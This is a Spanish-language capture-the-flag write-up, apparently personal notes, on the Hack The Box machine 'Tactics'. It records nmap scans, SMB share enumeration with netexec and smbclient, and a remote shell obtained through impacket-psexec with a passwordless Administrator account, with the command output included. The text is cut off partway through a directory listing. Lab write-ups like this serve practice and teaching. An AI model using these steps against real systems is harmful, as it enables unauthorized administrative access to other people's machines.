![[Pasted image 20260419201603.png]]

Reconocimiento pasivo:

nmap -p- -sV -sC 10.129.29.151

Es un escaneo que suele demorar bastante porque analiza todos los puertos (-p-), detecta versiones de servicios (-sV) y ejecuta los scripts por defecto (-sC).

Este tipo de escaneo es útil cuando estamos en una red con varios dispositivos y queremos obtener una visión amplia. Sin embargo, genera bastante tráfico y ruido en la red, por lo que no es recomendable usarlo durante la fase de inteligencia/reconocimiento en un entorno real (puede ser detectado por EDR, firewalls o sistemas de detección de intrusiones).

En entornos de prueba o laboratorios (como HTB, TryHackMe, etc.) no hay problema y es una excelente forma de practicar

Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT    STATE SERVICE    VERSION
135/tcp open  tcpwrapped
139/tcp open  tcpwrapped
445/tcp open  tcpwrapped Tenemos los siguientes vectores de ataque : sudo nmap -sS -Pn -T3 -p 445 --script smb-os-discovery,smb-security-mode 10.129.29.151
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-19 20:45 -0300
Nmap scan report for 10.129.29.151
Host is up (0.16s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 4.26 seconds

tenemos un panorama de que maquina y que podemos ver la posbilidad de vulnerar al shared.

probamos conectarnos usando samba

primero realizamos una configuracion de la siguiente forma.

dentro de este archivo parametrizamos lo siguiente:

sudo nano /etc/samba/smb.conf

client min protocol = NT1 
client max protocol = SMB3

netexec smb 10.129.29.151 --shares
[*] First time use detected
[*] Creating home directory structure
[*] Creating missing folder logs
[*] Creating missing folder modules
[*] Creating missing folder workspaces
[*] Creating missing folder obfuscated_scripts
[*] Creating missing folder screenshots
[*] Creating missing folder logs/sam
[*] Creating missing folder logs/lsa
[*] Creating missing folder logs/ntds
[*] Creating missing folder logs/dpapi
[*] Creating default workspace
[*] Initializing FTP protocol database
[*] Initializing NFS protocol database
[*] Initializing MSSQL protocol database
[*] Initializing SMB protocol database
[*] Initializing SSH protocol database
[*] Initializing LDAP protocol database
[*] Initializing RDP protocol database
[*] Initializing WINRM protocol database
[*] Initializing VNC protocol database
[*] Initializing WMI protocol database
[*] Copying default configuration file
SMB         10.129.29.151   445    TACTICS          [*] Windows 10 / Server 2019 Build 17763 x64 (name:TACTICS) (domain:Tactics) (signing:False) (SMBv1:None)
SMB         10.129.29.151   445    TACTICS          [-] Error enumerating shares: [Errno 32] Broken pipe

Seguimos usando smb client para obtenr output disitinto.

smbclient -L //10.129.29.151 -U Administrator%  

Sharename       Type      Comment
       ---------       ----      -------
       ADMIN$          Disk      Remote Admin
       C$              Disk      Default share
       IPC$            IPC       Remote IPC

no logre conectar mediante a smb pero use impacket

impacket-psexec Tactics/Administrator@10.129.29.151 -no-pass
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies  

[*] Requesting shares on 10.129.29.151.....
[*] Found writable share ADMIN$
[*] Uploading file kPUNGKAf.exe
[*] Opening SVCManager on 10.129.29.151.....
[*] Creating service ZFSi on 10.129.29.151.....
[*] Starting service ZFSi.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>

Ya tengo mi flag savlamos el mundo. ``` C:\Windows\system32> cd \Users\Administrator\Desktop

C:\Users\Administrator\Desktop> sir
'sir' is not recognized as an internal or external command,
operable program or batch file.

C:\Users\Administrator\Desktop> dir
Volume in drive C has no label.
Volume Serial Number is EEE0-FCDB

Directory of C:\Users\Administrator\Desktop

04/22/2021  12:16 AM